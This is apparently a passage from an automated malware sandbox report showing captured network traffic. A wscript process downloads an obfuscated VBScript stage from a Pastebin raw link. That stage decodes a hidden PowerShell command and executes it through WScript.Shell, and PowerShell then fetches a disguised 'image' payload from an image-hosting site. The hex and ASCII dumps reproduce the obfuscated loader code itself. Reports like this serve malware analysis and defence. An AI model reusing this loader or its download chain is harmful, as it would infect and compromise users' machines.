61 69 72 65 20 Data Ascii: DgTreYQBkDgTreGUDgTre" & aire & quimoso & aire & "DgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTre" & aire & quimoso & aire & "gBsDgTreGUDgTre" & aire & quimoso & aire
2024-05-01 06:37:48 UTC	1369	IN	Data Raw: 44 67 54 72 65 47 34 44 67 54 72 65 64 51 42 6c 44 67 54 72 65 43 44 67 54 72 65 44 67 54 72 65 66 51 44 67 54 72 65 67 44 67 54 72 65 48 30 44 67 54 72 65 4f 77 44 67 54 72 65 67 44 67 54 72 65 48 49 44 67 54 72 65 22 20 26 20 61 69 72 65 20 26 20 71 75 69 6d 6f 73 6f 20 26 20 61 69 72 65 20 26 20 22 51 42 30 44 67 54 72 65 48 55 44 67 54 72 65 63 67 42 75 44 67 54 72 65 43 44 67 54 72 65 44 67 54 72 65 4a 44 67 54 72 65 42 6b 44 67 54 72 65 47 38 44 67 54 72 65 64 77 42 75 44 67 54 72 65 47 77 44 67 54 72 65 62 77 42 68 44 67 54 72 65 47 51 44 67 54 72 65 22 20 26 20 61 69 72 65 20 26 20 71 75 69 6d 6f 73 6f 20 26 20 61 69 72 65 20 26 20 22 51 42 6b 44 67 54 72 65 45 51 44 67 54 72 65 59 51 42 30 44 67 54 72 65 47 45 44 67 54 72 65 49 44 67 54 72 65 42 Data Ascii: DgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTre" & aire & quimoso & aire & "QB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTre" & aire & quimoso & aire & "QBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB
2024-05-01 06:37:48 UTC	1369	IN	Data Raw: 77 44 67 54 72 65 33 44 67 54 72 65 44 63 44 67 54 72 65 4d 77 44 67 54 72 65 76 44 67 54 72 65 44 63 44 67 54 72 65 4f 51 44 67 54 72 65 33 44 67 54 72 65 43 38 44 67 54 72 65 62 77 42 79 44 67 54 72 65 47 6b 44 67 54 72 65 22 20 26 20 61 69 72 65 20 26 20 71 75 69 6d 6f 73 6f 20 26 20 61 69 72 65 20 26 20 22 77 42 70 44 67 54 72 65 47 34 44 67 54 72 65 59 51 42 73 44 67 54 72 65 43 38 44 67 54 72 65 62 67 42 6c 44 67 54 72 65 48 63 44 67 54 72 65 58 77 42 70 44 67 54 72 65 47 30 44 67 54 72 65 59 51 42 6e 44 67 54 72 65 47 55 44 67 54 72 65 4c 67 42 71 44 67 54 72 65 48 44 67 54 72 65 44 67 54 72 65 22 20 26 20 61 69 72 65 20 26 20 71 75 69 6d 6f 73 6f 20 26 20 61 69 72 65 20 26 20 22 77 44 67 54 72 65 2f 44 67 54 72 65 44 45 44 67 54 72 65 4e 77 44 67 Data Ascii: wDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTre" & aire & quimoso & aire & "wBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTre" & aire & quimoso & aire & "wDgTre/DgTreDEDgTreNwDg
2024-05-01 06:37:48 UTC	1369	IN	Data Raw: 54 72 65 48 51 44 67 54 72 65 22 20 26 20 61 69 72 65 20 26 20 71 75 69 6d 6f 73 6f 20 26 20 61 69 72 65 20 26 20 22 51 42 7a 44 67 54 72 65 43 6b 44 67 54 72 65 4f 77 44 67 54 72 65 67 44 67 54 72 65 43 51 44 67 54 72 65 63 77 42 30 44 67 54 72 65 47 45 44 67 54 72 65 63 67 42 30 44 67 54 72 65 45 59 44 67 54 72 65 62 44 67 54 72 65 42 68 44 67 54 72 65 47 63 44 67 54 72 65 49 44 67 54 72 65 44 67 54 72 65 39 44 67 54 72 65 43 44 67 54 72 65 44 67 54 72 65 4a 77 44 67 54 72 65 38 44 67 54 72 65 44 77 44 67 54 72 65 51 67 42 42 44 67 54 72 65 46 4d 44 67 54 72 65 52 51 44 67 54 72 65 32 44 67 54 72 65 44 51 44 67 54 72 65 58 77 42 54 44 67 54 72 65 46 51 44 67 54 72 65 51 51 42 53 44 67 54 72 65 46 51 44 67 54 72 65 50 67 44 67 54 72 65 2b 44 67 54 72 65 Data Ascii: TreHQDgTre" & aire & quimoso & aire & "QBzDgTreCkDgTreOwDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBTDgTreFQDgTreQQBSDgTreFQDgTrePgDgTre+DgTre
2024-05-01 06:37:48 UTC	1369	IN	Data Raw: 72 65 47 51 44 67 54 72 65 22 20 26 20 61 69 72 65 20 26 20 71 75 69 6d 6f 73 6f 20 26 20 61 69 72 65 20 26 20 22 51 42 34 44 67 54 72 65 43 44 67 54 72 65 44 67 54 72 65 4c 51 42 6e 44 67 54 72 65 47 55 44 67 54 72 65 49 44 67 54 72 65 44 67 54 72 65 77 44 67 54 72 65 43 44 67 54 72 65 44 67 54 72 65 4c 51 42 68 44 67 54 72 65 47 34 44 67 54 72 65 22 20 26 20 61 69 72 65 20 26 20 71 75 69 6d 6f 73 6f 20 26 20 61 69 72 65 20 26 20 22 44 67 54 72 65 44 67 54 72 65 67 44 67 54 72 65 43 51 44 67 54 72 65 22 20 26 20 61 69 72 65 20 26 20 71 75 69 6d 6f 73 6f 20 26 20 61 69 72 65 20 26 20 22 51 42 75 44 67 54 72 65 47 51 44 67 54 72 65 53 51 42 75 44 67 54 72 65 47 51 44 67 54 72 65 22 20 26 20 61 69 72 65 20 26 20 71 75 69 6d 6f 73 6f 20 26 20 61 69 72 65 20 Data Ascii: reGQDgTre" & aire & quimoso & aire & "QB4DgTreCDgTreDgTreLQBnDgTreGUDgTreIDgTreDgTrewDgTreCDgTreDgTreLQBhDgTreG4DgTre" & aire & quimoso & aire & "DgTreDgTregDgTreCQDgTre" & aire & quimoso & aire & "QBuDgTreGQDgTreSQBuDgTreGQDgTre" & aire & quimoso & aire
2024-05-01 06:37:48 UTC	1369	IN	Data Raw: 67 54 72 65 4a 44 67 54 72 65 42 7a 44 67 54 72 65 48 51 44 67 54 72 65 59 51 42 79 44 67 54 72 65 48 51 44 67 54 72 65 53 51 42 75 44 67 54 72 65 47 51 44 67 54 72 65 22 20 26 20 61 69 72 65 20 26 20 71 75 69 6d 6f 73 6f 20 26 20 61 69 72 65 20 26 20 22 51 42 34 44 67 54 72 65 43 77 44 67 54 72 65 49 44 67 54 72 65 44 67 54 72 65 6b 44 67 54 72 65 47 49 44 67 54 72 65 59 51 42 7a 44 67 54 72 65 47 55 44 67 54 72 65 4e 67 44 67 54 72 65 30 44 67 54 72 65 45 77 44 67 54 72 65 22 20 26 20 61 69 72 65 20 26 20 71 75 69 6d 6f 73 6f 20 26 20 61 69 72 65 20 26 20 22 51 42 75 44 67 54 72 65 47 63 44 67 54 72 65 64 44 67 54 72 65 42 6f 44 67 54 72 65 43 6b 44 67 54 72 65 4f 77 44 67 54 72 65 67 44 67 54 72 65 43 51 44 67 54 72 65 59 77 42 76 44 67 54 72 65 47 30 Data Ascii: gTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTre" & aire & quimoso & aire & "QB4DgTreCwDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEwDgTre" & aire & quimoso & aire & "QBuDgTreGcDgTredDgTreBoDgTreCkDgTreOwDgTregDgTreCQDgTreYwBvDgTreG0
2024-05-01 06:37:48 UTC	1369	IN	Data Raw: 61 69 72 65 20 26 20 22 44 67 54 72 65 42 42 44 67 54 72 65 48 4d 44 67 54 72 65 63 77 42 6c 44 67 54 72 65 47 30 44 67 54 72 65 59 67 42 73 44 67 54 72 65 48 6b 44 67 54 72 65 4c 67 42 48 44 67 54 72 65 47 55 44 67 54 72 65 64 44 67 54 72 65 42 55 44 67 54 72 65 48 6b 44 67 54 72 65 63 44 67 54 72 65 42 6c 44 67 54 72 65 43 67 44 67 54 72 65 4a 77 42 51 44 67 54 72 65 46 49 44 67 54 72 65 54 77 42 4b 44 67 54 72 65 45 55 44 67 54 72 65 56 44 67 54 72 65 42 50 44 67 54 72 65 45 45 44 67 54 72 65 56 51 42 55 44 67 54 72 65 45 38 44 67 54 72 65 54 51 42 42 44 67 54 72 65 45 4d 44 67 54 72 65 51 51 42 50 44 67 54 72 65 43 34 44 67 54 72 65 56 67 42 43 44 67 54 72 65 43 34 44 67 54 72 65 53 44 67 54 72 65 42 76 44 67 54 72 65 47 30 44 67 54 72 65 22 20 26 20 Data Ascii: aire & "DgTreBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreLgBHDgTreGUDgTredDgTreBUDgTreHkDgTrecDgTreBlDgTreCgDgTreJwBQDgTreFIDgTreTwBKDgTreEUDgTreVDgTreBPDgTreEEDgTreVQBUDgTreE8DgTreTQBBDgTreEMDgTreQQBPDgTreC4DgTreVgBCDgTreC4DgTreSDgTreBvDgTreG0DgTre" &
2024-05-01 06:37:48 UTC	1369	IN	Data Raw: 20 2b 20 61 69 72 65 20 2c 20 22 5a 22 29 0d 0a 20 20 20 20 20 53 65 74 20 43 61 6d 61 20 3d 20 57 53 63 72 69 70 74 2e 43 72 65 61 74 65 4f 62 6a 65 63 74 28 22 57 53 63 72 69 70 74 2e 53 68 65 6c 6c 22 29 0d 0a 20 20 20 20 20 61 70 61 6c 65 61 64 6f 72 20 3d 20 28 22 24 28 40 28 e2 97 80 28 40 c3 b8 e2 98 9e 40 e2 88 9e 64 69 67 40 c3 b8 e2 98 9e 40 e2 88 9e 20 3d 20 27 22 29 20 26 20 74 72 69 76 69 61 6c 20 20 26 20 22 27 22 0d 0a 20 20 20 20 20 61 70 61 6c 65 61 64 6f 72 20 3d 20 61 70 61 6c 65 61 64 6f 72 20 26 20 22 3b 24 40 c3 b8 e2 98 9e 40 e2 88 9e 57 6a 75 78 64 20 3d 20 5b e2 87 9d e2 96 91 7d 40 2a 79 e2 87 9d e2 96 91 7d 40 2a 74 e2 98 9f c3 b0 2a 28 e2 98 a0 6d 2e 54 e2 98 9f c3 b0 2a 28 e2 98 a0 78 74 2e e2 98 9f c3 b0 2a 28 e2 98 a0 6e 28 Data Ascii: + aire , "Z") Set Cama = WScript.CreateObject("WScript.Shell") apaleador = ("$(@((@@dig@@ = '") & trivial & "'" apaleador = apaleador & ";$@@Wjuxd = [}@y}@t(m.T(xt.*(n(
2024-05-01 06:37:48 UTC	557	IN	Data Raw: 22 28 40 28 e2 97 80 28 22 2c 22 63 22 29 0d 0a 20 20 20 20 20 61 70 61 6c 65 61 64 6f 72 20 3d 20 52 65 70 6c 61 63 65 28 61 70 61 6c 65 61 64 6f 72 2c 22 e2 98 9f c3 b0 2a 28 e2 98 a0 22 2c 22 65 22 29 0d 0a 20 20 20 20 20 61 70 61 6c 65 61 64 6f 72 20 3d 20 52 65 70 6c 61 63 65 28 61 70 61 6c 65 61 64 6f 72 2c 22 40 c3 b8 e2 98 9e 40 e2 88 9e 22 2c 22 6f 22 29 0d 0a 20 20 20 20 20 61 70 61 6c 65 61 64 6f 72 20 3d 20 52 65 70 6c 61 63 65 28 61 70 61 6c 65 61 64 6f 72 2c 22 e2 87 9d e2 96 91 7d 40 2a 22 2c 22 73 22 29 0d 0a 20 20 20 20 20 6d 61 6c 61 6e 64 72 6f 31 20 3d 20 22 40 25 2a 3a 26 40 c3 b8 e2 98 9e 40 e2 88 9e 77 65 72 e2 87 9d e2 96 91 7d 40 2a 68 65 6c 6c 20 2d 28 40 28 e2 97 80 28 40 c3 b8 e2 98 9e 40 e2 88 9e 6d 6d 61 6e 64 20 22 0d 0a 20 Data Ascii: "(@((","c") apaleador = Replace(apaleador,"(","e") apaleador = Replace(apaleador,"@@","o") apaleador = Replace(apaleador,"}@","s") malandro1 = "@%:&@@wer}@hell -(@((@@mmand "

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49747	172.67.19.24	443	5296	C:\Windows\SysWOW64\wscript.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-01 06:37:48 UTC	308	OUT	GET /raw/KiVfSXMq HTTP/1.1 Accept: / Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: pastebin.com Connection: Keep-Alive
2024-05-01 06:37:48 UTC	391	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 06:37:48 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: EXPIRED Last-Modified: Tue, 30 Apr 2024 06:38:43 GMT Server: cloudflare CF-RAY: 87cdc3d8ac40205d-IAD
2024-05-01 06:37:48 UTC	978	IN	Data Raw: 33 32 65 63 0d 0a 0d 0a 20 20 20 20 20 64 69 6d 20 6d 61 67 69 61 20 2c 20 65 73 70 69 72 69 74 75 61 6c 6d 65 6e 74 65 20 2c 20 61 63 6f 69 74 61 64 61 72 20 2c 20 74 65 72 65 73 20 2c 20 64 65 70 6f 72 20 2c 20 43 61 6d 61 20 2c 20 64 65 70 6f 72 31 0d 0a 20 20 20 20 20 65 73 70 69 72 69 74 75 61 6c 6d 65 6e 74 65 20 3d 20 22 20 20 22 0d 0a 20 20 20 20 20 61 63 6f 69 74 61 64 61 72 20 20 3d 20 22 22 20 26 20 74 65 72 65 73 20 26 20 65 73 70 69 72 69 74 75 61 6c 6d 65 6e 74 65 20 26 20 74 65 72 65 73 20 26 20 22 67 42 31 44 67 54 72 65 47 34 44 67 54 72 65 59 77 42 30 44 67 54 72 65 47 6b 44 67 54 72 65 62 77 42 75 44 67 54 72 65 43 44 67 54 72 65 44 67 54 72 65 52 44 67 54 72 65 42 76 44 67 54 72 65 48 63 44 67 54 72 65 62 67 42 73 44 67 54 72 65 47 38 Data Ascii: 32ec dim magia , espiritualmente , acoitadar , teres , depor , Cama , depor1 espiritualmente = " " acoitadar = "" & teres & espiritualmente & teres & "gB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8
2024-05-01 06:37:48 UTC	1369	IN	Data Raw: 44 67 54 72 65 43 51 44 67 54 72 65 22 20 26 20 74 65 72 65 73 20 26 20 65 73 70 69 72 69 74 75 61 6c 6d 65 6e 74 65 20 26 20 74 65 72 65 73 20 26 20 22 44 67 54 72 65 42 76 44 67 54 72 65 48 63 44 67 54 72 65 62 67 42 73 44 67 54 72 65 47 38 44 67 54 72 65 59 51 42 6b 44 67 54 72 65 47 55 44 67 54 72 65 22 20 26 20 74 65 72 65 73 20 26 20 65 73 70 69 72 69 74 75 61 6c 6d 65 6e 74 65 20 26 20 74 65 72 65 73 20 26 20 22 44 67 54 72 65 42 45 44 67 54 72 65 47 45 44 67 54 72 65 64 44 67 54 72 65 42 68 44 67 54 72 65 43 44 67 54 72 65 44 67 54 72 65 50 51 44 67 54 72 65 67 44 67 54 72 65 45 44 67 54 72 65 44 67 54 72 65 4b 44 67 54 72 65 44 67 54 72 65 70 44 67 54 72 65 44 73 44 67 54 72 65 49 44 67 54 72 65 44 67 54 72 65 6b 44 67 54 72 65 48 4d 44 67 54 72 Data Ascii: DgTreCQDgTre" & teres & espiritualmente & teres & "DgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTre" & teres & espiritualmente & teres & "DgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTr
2024-05-01 06:37:48 UTC	1369	IN	Data Raw: 54 72 65 4b 44 67 54 72 65 44 67 54 72 65 6b 44 67 54 72 65 47 77 44 67 54 72 65 61 51 42 75 44 67 54 72 65 47 73 44 67 54 72 65 4b 51 44 67 54 72 65 67 44 67 54 72 65 48 30 44 67 54 72 65 49 44 67 54 72 65 42 6a 44 67 54 72 65 47 45 44 67 54 72 65 64 44 67 54 72 65 42 6a 44 67 54 72 65 47 67 44 67 54 72 65 49 44 67 54 72 65 42 37 44 67 54 72 65 43 44 67 54 72 65 44 67 54 72 65 59 77 42 76 44 67 54 72 65 47 34 44 67 54 72 65 64 44 67 54 72 65 42 70 44 67 54 72 65 47 34 44 67 54 72 65 64 51 42 6c 44 67 54 72 65 43 44 67 54 72 65 44 67 54 72 65 66 51 44 67 54 72 65 67 44 67 54 72 65 48 30 44 67 54 72 65 4f 77 44 67 54 72 65 67 44 67 54 72 65 48 49 44 67 54 72 65 22 20 26 20 74 65 72 65 73 20 26 20 65 73 70 69 72 69 74 75 61 6c 6d 65 6e 74 65 20 26 20 74 65 Data Ascii: TreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTre" & teres & espiritualmente & te
2024-05-01 06:37:48 UTC	1369	IN	Data Raw: 26 20 74 65 72 65 73 20 26 20 22 44 67 54 72 65 42 6c 44 67 54 72 65 47 6b 44 67 54 72 65 62 51 42 68 44 67 54 72 65 47 63 44 67 54 72 65 22 20 26 20 74 65 72 65 73 20 26 20 65 73 70 69 72 69 74 75 61 6c 6d 65 6e 74 65 20 26 20 74 65 72 65 73 20 26 20 22 51 42 75 44 67 54 72 65 48 4d 44 67 54 72 65 4c 67 42 6a 44 67 54 72 65 47 38 44 67 54 72 65 62 51 44 67 54 72 65 75 44 67 54 72 65 47 49 44 67 54 72 65 63 67 44 67 54 72 65 76 44 67 54 72 65 47 6b 44 67 54 72 65 62 51 42 68 44 67 54 72 65 47 63 44 67 54 72 65 22 20 26 20 74 65 72 65 73 20 26 20 65 73 70 69 72 69 74 75 61 6c 6d 65 6e 74 65 20 26 20 74 65 72 65 73 20 26 20 22 51 42 7a 44 67 54 72 65 43 38 44 67 54 72 65 4d 44 67 54 72 65 44 67 54 72 65 77 44 67 54 72 65 44 51 44 67 54 72 65 4c 77 44 67 54 Data Ascii: & teres & "DgTreBlDgTreGkDgTrebQBhDgTreGcDgTre" & teres & espiritualmente & teres & "QBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTre" & teres & espiritualmente & teres & "QBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgT
2024-05-01 06:37:48 UTC	1369	IN	Data Raw: 67 54 72 65 48 6b 44 67 54 72 65 63 77 42 30 44 67 54 72 65 47 55 44 67 54 72 65 62 51 44 67 54 72 65 75 44 67 54 72 65 46 51 44 67 54 72 65 22 20 26 20 74 65 72 65 73 20 26 20 65 73 70 69 72 69 74 75 61 6c 6d 65 6e 74 65 20 26 20 74 65 72 65 73 20 26 20 22 51 42 34 44 67 54 72 65 48 51 44 67 54 72 65 4c 67 42 46 44 67 54 72 65 47 34 44 67 54 72 65 59 77 42 76 44 67 54 72 65 47 51 44 67 54 72 65 61 51 42 75 44 67 54 72 65 47 63 44 67 54 72 65 58 51 44 67 54 72 65 36 44 67 54 72 65 44 6f 44 67 54 72 65 56 51 42 55 44 67 54 72 65 45 59 44 67 54 72 65 4f 44 67 54 72 65 44 67 54 72 65 75 44 67 54 72 65 45 63 44 67 54 72 65 22 20 26 20 74 65 72 65 73 20 26 20 65 73 70 69 72 69 74 75 61 6c 6d 65 6e 74 65 20 26 20 74 65 72 65 73 20 26 20 22 51 42 30 44 67 54 72 Data Ascii: gTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreFQDgTre" & teres & espiritualmente & teres & "QB4DgTreHQDgTreLgBFDgTreG4DgTreYwBvDgTreGQDgTreaQBuDgTreGcDgTreXQDgTre6DgTreDoDgTreVQBUDgTreEYDgTreODgTreDgTreuDgTreEcDgTre" & teres & espiritualmente & teres & "QB0DgTr
2024-05-01 06:37:48 UTC	1369	IN	Data Raw: 72 65 50 51 44 67 54 72 65 67 44 67 54 72 65 43 51 44 67 54 72 65 61 51 42 74 44 67 54 72 65 47 45 44 67 54 72 65 22 20 26 20 74 65 72 65 73 20 26 20 65 73 70 69 72 69 74 75 61 6c 6d 65 6e 74 65 20 26 20 74 65 72 65 73 20 26 20 22 77 42 6c 44 67 54 72 65 46 51 44 67 54 72 65 22 20 26 20 74 65 72 65 73 20 26 20 65 73 70 69 72 69 74 75 61 6c 6d 65 6e 74 65 20 26 20 74 65 72 65 73 20 26 20 22 51 42 34 44 67 54 72 65 48 51 44 67 54 72 65 4c 67 42 4a 44 67 54 72 65 47 34 44 67 54 72 65 22 20 26 20 74 65 72 65 73 20 26 20 65 73 70 69 72 69 74 75 61 6c 6d 65 6e 74 65 20 26 20 74 65 72 65 73 20 26 20 22 44 67 54 72 65 42 6c 44 67 54 72 65 48 67 44 67 54 72 65 54 77 42 6d 44 67 54 72 65 43 67 44 67 54 72 65 4a 44 67 54 72 65 42 6c 44 67 54 72 65 47 34 44 67 54 72 Data Ascii: rePQDgTregDgTreCQDgTreaQBtDgTreGEDgTre" & teres & espiritualmente & teres & "wBlDgTreFQDgTre" & teres & espiritualmente & teres & "QB4DgTreHQDgTreLgBJDgTreG4DgTre" & teres & espiritualmente & teres & "DgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBlDgTreG4DgTr
2024-05-01 06:37:48 UTC	1369	IN	Data Raw: 20 74 65 72 65 73 20 26 20 22 77 42 30 44 67 54 72 65 47 67 44 67 54 72 65 49 44 67 54 72 65 44 67 54 72 65 39 44 67 54 72 65 43 44 67 54 72 65 44 67 54 72 65 4a 44 67 54 72 65 42 6c 44 67 54 72 65 47 34 44 67 54 72 65 22 20 26 20 74 65 72 65 73 20 26 20 65 73 70 69 72 69 74 75 61 6c 6d 65 6e 74 65 20 26 20 74 65 72 65 73 20 26 20 22 44 67 54 72 65 42 4a 44 67 54 72 65 47 34 44 67 54 72 65 22 20 26 20 74 65 72 65 73 20 26 20 65 73 70 69 72 69 74 75 61 6c 6d 65 6e 74 65 20 26 20 74 65 72 65 73 20 26 20 22 44 67 54 72 65 42 6c 44 67 54 72 65 48 67 44 67 54 72 65 49 44 67 54 72 65 44 67 54 72 65 74 44 67 54 72 65 43 44 67 54 72 65 44 67 54 72 65 4a 44 67 54 72 65 42 7a 44 67 54 72 65 48 51 44 67 54 72 65 59 51 42 79 44 67 54 72 65 48 51 44 67 54 72 65 53 51 Data Ascii: teres & "wB0DgTreGgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBlDgTreG4DgTre" & teres & espiritualmente & teres & "DgTreBJDgTreG4DgTre" & teres & espiritualmente & teres & "DgTreBlDgTreHgDgTreIDgTreDgTretDgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQ
2024-05-01 06:37:48 UTC	1369	IN	Data Raw: 72 65 73 20 26 20 65 73 70 69 72 69 74 75 61 6c 6d 65 6e 74 65 20 26 20 74 65 72 65 73 20 26 20 22 44 67 54 72 65 44 67 54 72 65 70 44 67 54 72 65 44 73 44 67 54 72 65 49 44 67 54 72 65 44 67 54 72 65 6b 44 67 54 72 65 47 77 44 67 54 72 65 62 77 42 68 44 67 54 72 65 47 51 44 67 54 72 65 22 20 26 20 74 65 72 65 73 20 26 20 65 73 70 69 72 69 74 75 61 6c 6d 65 6e 74 65 20 26 20 74 65 72 65 73 20 26 20 22 51 42 6b 44 67 54 72 65 45 45 44 67 54 72 65 63 77 42 7a 44 67 54 72 65 47 55 44 67 54 72 65 62 51 42 69 44 67 54 72 65 47 77 44 67 54 72 65 65 51 44 67 54 72 65 67 44 67 54 72 65 44 30 44 67 54 72 65 49 44 67 54 72 65 42 62 44 67 54 72 65 46 4d 44 67 54 72 65 65 51 42 7a 44 67 54 72 65 48 51 44 67 54 72 65 22 20 26 20 74 65 72 65 73 20 26 20 65 73 70 69 72 Data Ascii: res & espiritualmente & teres & "DgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGwDgTrebwBhDgTreGQDgTre" & teres & espiritualmente & teres & "QBkDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTre" & teres & espir
2024-05-01 06:37:48 UTC	1369	IN	Data Raw: 72 65 6e 44 67 54 72 65 48 51 44 67 54 72 65 65 44 67 54 72 65 42 30 44 67 54 72 65 43 34 44 67 54 72 65 59 77 42 6a 44 67 54 72 65 47 4d 44 67 54 72 65 22 20 26 20 74 65 72 65 73 20 26 20 65 73 70 69 72 69 74 75 61 6c 6d 65 6e 74 65 20 26 20 74 65 72 65 73 20 26 20 22 51 42 79 44 67 54 72 65 43 38 44 67 54 72 65 63 77 42 6a 44 67 54 72 65 43 38 44 67 54 72 65 65 67 42 75 44 67 54 72 65 43 34 44 67 54 72 65 22 20 26 20 74 65 72 65 73 20 26 20 65 73 70 69 72 69 74 75 61 6c 6d 65 6e 74 65 20 26 20 74 65 72 65 73 20 26 20 22 51 42 75 44 67 54 72 65 47 6b 44 67 54 72 65 22 20 26 20 74 65 72 65 73 20 26 20 65 73 70 69 72 69 74 75 61 6c 6d 65 6e 74 65 20 26 20 74 65 72 65 73 20 26 20 22 44 67 54 72 65 42 73 44 67 54 72 65 47 45 44 67 54 72 65 63 67 42 6c 44 67 Data Ascii: renDgTreHQDgTreeDgTreB0DgTreC4DgTreYwBjDgTreGMDgTre" & teres & espiritualmente & teres & "QByDgTreC8DgTrecwBjDgTreC8DgTreegBuDgTreC4DgTre" & teres & espiritualmente & teres & "QBuDgTreGkDgTre" & teres & espiritualmente & teres & "DgTreBsDgTreGEDgTrecgBlDg
2024-05-01 06:37:48 UTC	1114	IN	Data Raw: 69 61 20 26 20 22 e2 98 9f c3 b0 2a 28 e2 98 a0 36 34 e2 87 9d e2 96 91 7d 40 2a 74 72 69 6e 67 28 20 24 28 40 28 e2 97 80 28 22 0d 0a 20 20 20 20 20 6d 61 67 69 61 20 3d 20 6d 61 67 69 61 20 26 20 22 40 c3 b8 e2 98 9e 40 e2 88 9e 64 22 0d 0a 20 20 20 20 20 6d 61 67 69 61 20 3d 20 6d 61 67 69 61 20 26 20 22 69 67 40 c3 b8 e2 98 9e 40 e2 88 9e 2e 72 e2 98 9f c3 b0 2a 28 e2 98 a0 22 0d 0a 20 20 20 20 20 6d 61 67 69 61 20 3d 20 6d 61 67 69 61 20 26 20 22 40 25 2a 3a 26 6c 61 22 0d 0a 20 20 20 20 20 6d 61 67 69 61 20 3d 20 6d 61 67 69 61 20 26 20 22 28 40 28 e2 97 80 28 e2 98 9f c3 b0 2a 28 e2 98 a0 28 27 22 0d 0a 20 20 20 20 20 6d 61 67 69 61 20 3d 20 6d 61 67 69 61 20 26 20 22 44 67 54 72 e2 98 9f c3 b0 2a 28 e2 98 a0 22 0d 0a 20 20 20 20 20 6d 61 67 69 61 Data Ascii: ia & "(64}@tring( $(@((" magia = magia & "@@d" magia = magia & "ig@@.r(" magia = magia & "@%:&la" magia = magia & "(@(((('" magia = magia & "DgTr(" magia

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49750	172.67.215.45	443	3632	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-01 06:37:51 UTC	124	OUT	GET /images/004/773/797/original/new_image.jpg?1713882029 HTTP/1.1 Host: uploaddeimagens.com.br Connection: Keep-Alive
2024-05-01 06:37:51 UTC	692	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 06:37:51 GMT Content-Type: image/jpeg Content-Length: 4198361 Connection: close Last-Modified: Tue, 23 Apr 2024 14:20:29 GMT ETag: "6627c3ad-400fd9" Cache-Control: max-age=2678400 CF-Cache-Status: REVALIDATED Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ixcpIU7aE2zy%2Bja3h9ZjEsxebedWVzQM2nT8VlIvl7uzHDMbfvNJGNobisRPij9ChyVvMsLJZJNaGC12lP0seGkXaFZbajCd42%2Fj0bJEfqAxUsMI1R605%2BaYaaXcZNw3grA6TKIgldDM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87cdc3ee18ea20d0-IAD alt-svc: h3=":443"; ma=86400
